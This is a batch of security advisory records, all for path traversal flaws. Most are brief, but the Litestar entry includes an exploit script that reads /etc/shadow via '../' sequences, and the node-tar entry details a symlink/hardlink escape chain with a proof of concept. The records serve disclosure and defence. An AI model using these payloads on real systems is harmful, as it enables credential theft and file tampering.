{
  "affected": [],
  "aliases": [
    "CVE-2026-13748"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-29T16:16:39Z",
    "severity": "MODERATE"
  },
  "details": "Improper restriction of file path resolution in Snowflake CLI versions prior to 3.19 allowed arbitrary local file content to be read and transmitted to Snowflake services. An attacker could exploit this by supplying crafted repository or project content that referenced files outside the intended project boundary, causing Snowflake CLI to read local files and upload or embed their contents during deployment or SQL template processing. Successful exploitation required the victim to process attacker-controlled project content, and retrieval of exfiltrated data depended on access to the victim\u0027s Snowflake account artifacts such as query history or uploaded stage content. The fix is available in Snowflake CLI version 3.19, and users must manually upgrade.",
  "id": "GHSA-8394-2w3w-5r9h",
  "modified": "2026-06-29T18:31:54Z",
  "published": "2026-06-29T18:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13748"
    },
    {
      "type": "WEB",
      "url": "https://community.snowflake.com/s/article/Snowflake-CLI-Vulnerability-Advisory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-6659"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-04-07T19:30:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in index.php in Simple Machines Forum (SMF) 1.0 before 1.0.15 and 1.1 before 1.1.7 allows remote authenticated users to configure arbitrary local files for execution via directory traversal sequences in the value of the theme_dir field during a jsoption action, related to Sources/QueryString.php and Sources/Themes.php, as demonstrated by a local .gif file in attachments/ with PHP code that was uploaded through a profile2 action to index.php.",
  "id": "GHSA-83c4-4r4h-g94x",
  "modified": "2022-05-17T00:38:43Z",
  "published": "2022-05-17T00:38:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6659"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/7011"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/50072"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/32516"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/32139"
    },
    {
      "type": "WEB",
      "url": "http://www.simplemachines.org/community/index.php?topic=272861.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26960"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T00:57:13Z",
    "nvd_published_at": "2026-02-20T02:16:53Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`tar.extract()` in Node `tar` allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.\n\nThis enables **arbitrary file read and write** as the extracting user (no root, no chmod, no `preservePaths`).\n\nSeverity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.\n\n### Details\nThe bypass chain uses two symlinks plus one hardlink:\n\n1. `a/b/c/up -\u003e ../..`\n2. `a/b/escape -\u003e c/up/../..`\n3. `exfil` (hardlink) -\u003e `a/b/escape/\u003ctarget-relative-to-parent-of-extract\u003e`\n\nWhy this works:\n\n- Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.\n  - See `STRIPABSOLUTEPATH` logic in:\n    - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255`\n    - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268`\n    - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281`\n\n- Hardlink extraction resolves target as `path.resolve(cwd, entry.linkpath)` and then calls `fs.link(target, destination)`.\n  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566`\n  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567`\n  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703`\n\n- Parent directory safety checks (`mkdir` + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path.\n  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617`\n  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619`\n  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27`\n  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101`\n\nAs a result, `exfil` is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via `exfil`.\n\n### PoC\n[hardlink.js](https://github.com/user-attachments/files/25240082/hardlink.js)\nEnvironment used for validation:\n\n- Node: `v25.4.0`\n- tar: `7.5.7`\n- OS: macOS Darwin 25.2.0\n- Extract options: defaults (`tar.extract({ file, cwd })`)\n\nSteps:\n\n1. Prepare/locate a `tar` module. If `require(\u0027tar\u0027)` is not available locally, set `TAR_MODULE` to an absolute path to a tar package directory.\n\n2. Run:\n\n```bash\nTAR_MODULE=\"$(cd \u0027../tar-audit-setuid - CVE/node_modules/tar\u0027 \u0026\u0026 pwd)\" node hardlink.js\n```\n\n3. Expected vulnerable output (key lines):\n\n```text\nsame_inode=true\nread_ok=true\nwrite_ok=true\nresult=VULNERABLE\n```\n\nInterpretation:\n\n- `same_inode=true`: extracted `exfil` and external secret are the same file object.\n- `read_ok=true`: reading `exfil` leaks external content.\n- `write_ok=true`: writing `exfil` modifies external file.\n\n### Impact\nVulnerability type:\n\n- Arbitrary file read/write via archive extraction path confusion and link resolution.\n\nWho is impacted:\n\n- Any application/service that extracts attacker-controlled tar archives with Node `tar` defaults.\n- Impact scope is the privileges of the extracting process user.\n\nPotential outcomes:\n\n- Read sensitive files reachable by the process user.\n- Overwrite writable files outside extraction root.\n- Escalate impact depending on deployment context (keys, configs, scripts, app data).",
  "id": "GHSA-83g3-92jg-28cx",
  "modified": "2026-02-20T16:47:48Z",
  "published": "2026-02-18T00:57:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-83g3-92jg-28cx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26960"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/2cb1120bcefe28d7ecc719b41441ade59c52e384"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/d18e4e1f846f4ddddc153b0f536a19c050e7499f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-6262"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-05T12:16:21Z",
    "severity": "MODERATE"
  },
  "details": "The Betheme theme for WordPress is vulnerable to Arbitrary File Deletion in versions up to, and including, 28.4. This is due to the upload_icons() function workflow using a user-controlled upload path (`mfn-icon-upload`) in a filesystem move operation without constraining it to the uploads directory. This makes it possible for authenticated attackers, with contributor-level access and above, to move/delete arbitrary local files via path traversal.",
  "id": "GHSA-83jf-j247-fwjw",
  "modified": "2026-05-05T12:31:39Z",
  "published": "2026-05-05T12:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6262"
    },
    {
      "type": "WEB",
      "url": "https://support.muffingroup.com/changelog"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3486f114-5625-4751-a25e-2c5ab7b15b38?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2010-0696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-02-23T18:30:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in includes/download.php in the JoomlaWorks AllVideos (Jw_allVideos) plugin 3.0 through 3.2 for Joomla! allows remote attackers to read arbitrary files via a ./../.../ (modified dot dot) in the file parameter.",
  "id": "GHSA-83p9-rx59-w8cr",
  "modified": "2025-04-11T03:31:45Z",
  "published": "2022-05-02T06:14:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0696"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/62331"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/38587"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/11447"
    },
    {
      "type": "WEB",
      "url": "http://www.joomlaworks.gr/content/view/77/34"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/38238"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litestar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "starlite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.37.0"
            },
            {
              "fixed": "1.51.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litestar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litestar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-32982"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-06T14:20:50Z",
    "nvd_published_at": "2024-05-06T15:15:23Z",
    "severity": "HIGH"
  },
  "details": "# Summary\n**Local File Inclusion via Path Traversal in LiteStar Static File Serving**\n\nA Local File Inclusion (LFI) vulnerability has been discovered in the static file serving component of [LiteStar](https://github.com/litestar-org/litestar). This vulnerability allows attackers to exploit path traversal flaws, enabling unauthorized access to sensitive files outside the designated directories. Such access can lead to the disclosure of sensitive information or potentially compromise the server.\n\n## Details\nThe vulnerability is located in the file path handling mechanism within the static content serving function, specifically at [line 70 in `litestar/static_files/base.py`](https://github.com/litestar-org/litestar/blob/main/litestar/static_files/base.py#L70).\n\nThe function fails to properly validate the destination file path derived from user input, thereby permitting directory traversal. The critical code segment is as follows:\n\n```python\ncommonpath([str(directory), file_info[\"name\"], joined_path])\n```\n\nGiven the variables:\n```python\ndirectory = PosixPath(\u0027/Users/brian/sandbox/test_vuln/static\u0027)\nfile_info[\"name\"] = \u0027/Users/brian/sandbox/test_vuln/static/../requirements.txt\u0027\njoined_path = PosixPath(\u0027/Users/brian/sandbox/test_vuln/static/../requirements.txt\u0027)\n```\n\nThe function outputs \u0027/Users/brian/sandbox/test_vuln/static\u0027, incorrectly assuming it is confined to the static directory. This incorrect validation facilitates directory traversal, exposing the system to potential unauthorized access and manipulation.\n\n\n## Proof of Concept (PoC)\nTo reproduce this vulnerability, follow these steps:\n\n1. **Set up the environment:**\n   - Install with pip the `uvicorn` and `litestar` packages.\n   - Create a `static` folder in the root directory of your project and place any file (e.g., an image) in it for testing.\n   - Ensure the static file serving is enabled, which is typically the default configuration.\n\n2. **Preparation of the testing environment:**\n   - If using Ubuntu or a similar system, you can use `/etc/shadow` which contains sensitive password information. If not, create a dummy sensitive file outside the static directory for testing.\n   - Create a `main.py` file with the following content to configure and run the LiteStar server:\n\n    ```python\n    from pathlib import Path\n    from litestar import Litestar\n    from litestar.static_files import create_static_files_router\n    import uvicorn\n\n    app = Litestar(\n        route_handlers=[\n            create_static_files_router(path=\"/static\", directories=[\"static\"]),\n        ],\n    )\n\n    if __name__ == \"__main__\":\n        uvicorn.run(\"main:app\", host=\"0.0.0.0\", port=8000)\n    ```\n\n   - Run this script with the command `python3 main.py` to start the server.\n\n3. **Exploit:**\n   - Prepare an exploit script named `exploit.py` with the following Python code to perform the HTTP request without client-side sanitization:\n\n    ```python\n    import http.client\n\n    def send_request(host, port, path):\n        connection = http.client.HTTPConnection(host, port)\n        connection.request(\"GET\", path)\n        response = connection.getresponse()\n        print(f\"Status: {response.status}\")\n        print(f\"Headers: {response.getheaders()}\")\n        data = response.read()\n        print(f\"Body: {data.decode(\u0027utf-8\u0027)}\")\n        connection.close()\n\n    send_request(\"localhost\", 8000, \"/static/../../../../../../etc/shadow\")\n    ```\n\n   - Execute this script using `python3 exploit.py`. This script uses direct HTTP connections to bypass client-side path sanitization present in tools like curl or web browsers.\n\n4. **Observe:**\n   - The server should respond with the contents of the `/etc/shadow` file, thereby confirming the path traversal vulnerability.\n   - The output will display the status, headers, and body of the response, which should contain the contents of the sensitive file.\n\n\n## Impact\n\nThis Local File Inclusion vulnerability critically affects all instances of [LiteStar](https://github.com/litestar-org/litestar) where the server has been configured to serve static files. By exploiting this vulnerability, unauthorized attackers can gain read access to any file that the server process has permission to access. Here are the specific impacts:\n\n1. **Exposure of Sensitive Information:**\n   - The ability to traverse the file system can lead to the exposure of highly sensitive information. This includes system configuration files, application logs, or scripts containing credentials or cryptographic keys. Such information can provide attackers with deeper insights into the system architecture or facilitate further attacks.\n\n2. **Potential for System Compromise:**\n   - If sensitive system or application configuration files are exposed, attackers might be able to use this information to manipulate system behavior or escalate their privileges. For instance, accessing a `.env` file might reveal environment variables used for application configurations that include database passwords or API keys.\n\n3. **Credential Leakage:**\n   - Access to files such as `/etc/passwd` or `/etc/shadow` (on Unix-like systems) could expose user credentials, which might be leveraged to perform further attacks, such as brute force attacks on user accounts or using stolen credentials to access other systems where the same credentials are reused.\n\n4. **Regulatory and Compliance Violations:**\n   - Unauthorized access to personally identifiable information (PII), payment data, or health records could result in breaches of data protection regulations such as GDPR, HIPAA, or PCI DSS. This could not only damage the reputation of the organization but also lead to heavy fines and legal action.\n\n5. **Loss of Trust and Reputation Damage:**\n   - Security incidents, particularly those involving the loss of sensitive data, can significantly damage an organization\u0027s reputation. Customers and partners may lose trust, which can impact the business both immediately and in the long term.\n\n6. **Potential for Further Exploitation:**\n   - The initial read access gained through this vulnerability might be used as a stepping stone for more severe attacks. For example, if application source code is accessed, it could be analyzed for further vulnerabilities that might lead to direct exploitation, such as remote code execution.\n\n\n\nHere\u0027s the revised Mitigation Suggestion section for your vulnerability report, focusing on items 1 and 2, and including a reference to a similar implementation in another project:\n\n\n## Mitigation Suggestion\n\nTo effectively address the Local File Inclusion vulnerability via path traversal identified in the [LiteStar](https://github.com/litestar-org/litestar) application, it is essential to implement robust input validation and sanitization mechanisms. Below are specific strategies focused on managing user inputs and ensuring secure file path handling:\n\n1. **Input Validation and Sanitization:**\n   - Implement rigorous validation of all user-supplied input, particularly file path inputs. This should include sanitizing the input to remove or neutralize potentially harmful characters and sequences such as `../` which are used in path traversal attacks.\n   - Use regular expressions to validate file paths against a strict pattern that only matches expected and safe input.\n\n2. **Path Normalization:**\n   - Normalize file paths before using them in file operations. Functions such as `os.path.normpath()` in Python can be used to normalize paths. This method resolves redundant separators and up-level references (`../`) to prevent directory traversal.\n   - As a reference, consider the approach taken by the Starlette framework in their static file serving feature, where path validation is performed to ensure the requested path remains within the intended directory. For example, see how Starlette handles this with a security check:\n     ```python\n     if os.path.commonpath([full_path, directory]) != directory:\n         # Don\u0027t allow misbehaving clients to break out of the static files\n         # directory.\n         continue\n     ```\n     This snippet from [Starlette\u0027s implementation](https://github.com/encode/starlette/blob/master/starlette/staticfiles.py#L166) ensures that the constructed file path does not traverse out of the specified directory.\n\n\n## Comments\n**Naming Convention:**\n- From versions 0.X.X through 1.X.X, the package was released under the name \"starlite.\"\n- Starting with version 2.0.0 and for all subsequent versions, the package has been rebranded and released under the name \"litestar.\"\n\n**Feature Additions and Changes:**\n- Static Files Support: Introduced in version 0.6.0, adding the capability to serve static files directly from the package.\n- Path Validation Update: In version 1.37.0, Starlite modified its approach to validating paths within the static directory. Prior to this version, path validation was managed using the Starlette framework.",
  "id": "GHSA-83pv-qr33-2vcf",
  "modified": "2024-07-08T18:47:28Z",
  "published": "2024-05-06T14:20:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-83pv-qr33-2vcf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32982"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/commit/57e706e7effdc182fc9a2af5981bc88afb21851b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/commit/a07b79b84d8717bec5ac4d4674c1e4920ba9c813"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/litestar-org/litestar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/blob/main/litestar/static_files/base.py#L70"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Litestar and Starlite vulnerable to Path Traversal"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-33576"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-18T11:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Cleo LexiCom 5.5.0.0. Within the AS2 message, the sender can specify a filename. This filename can include path-traversal characters, allowing the file to be written to an arbitrary location on disk.",
  "id": "GHSA-83pw-wxhw-r33r",
  "modified": "2022-05-24T19:05:40Z",
  "published": "2022-05-24T19:05:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33576"
    },
    {
      "type": "WEB",
      "url": "https://github.com/atredispartners/advisories/blob/master/ATREDIS-2020-0011.md"
    },
    {
      "type": "WEB",
      "url": "https://www.cleo.com/cleo-lexicom"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-14914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-20T14:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in PRiSE adAS 1.7.0. The path is not properly escaped in the medatadata_del method, leading to an arbitrary file read and deletion via Directory Traversal.",
  "id": "GHSA-83q4-8rv7-vg9v",
  "modified": "2024-04-04T01:58:40Z",
  "published": "2022-05-24T16:56:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14914"
    },
    {
      "type": "WEB",
      "url": "https://security-garage.com/index.php/cves/from-open-redirect-to-rce-in-adas"
    },
    {
      "type": "WEB",
      "url": "http://www.adas-sso.com/es/extra/download.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-20453"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-08T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In update of MmsProvider.java, there is a possible constriction of directory permissions due to a path traversal error. This could lead to local denial of service of SIM recognition with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-240685104",
  "id": "GHSA-83q8-jp32-qmf2",
  "modified": "2022-11-09T19:02:23Z",
  "published": "2022-11-09T12:00:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20453"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2022-11-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-22650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-28T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An attacker may use TWinSoft and a malicious source project file (TPG) to extract files on machine executing Ovarro TWinSoft, which could lead to code execution.",
  "id": "GHSA-83qv-39gp-8f27",
  "modified": "2022-08-05T00:00:30Z",
  "published": "2022-07-29T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22650"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-21-054-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}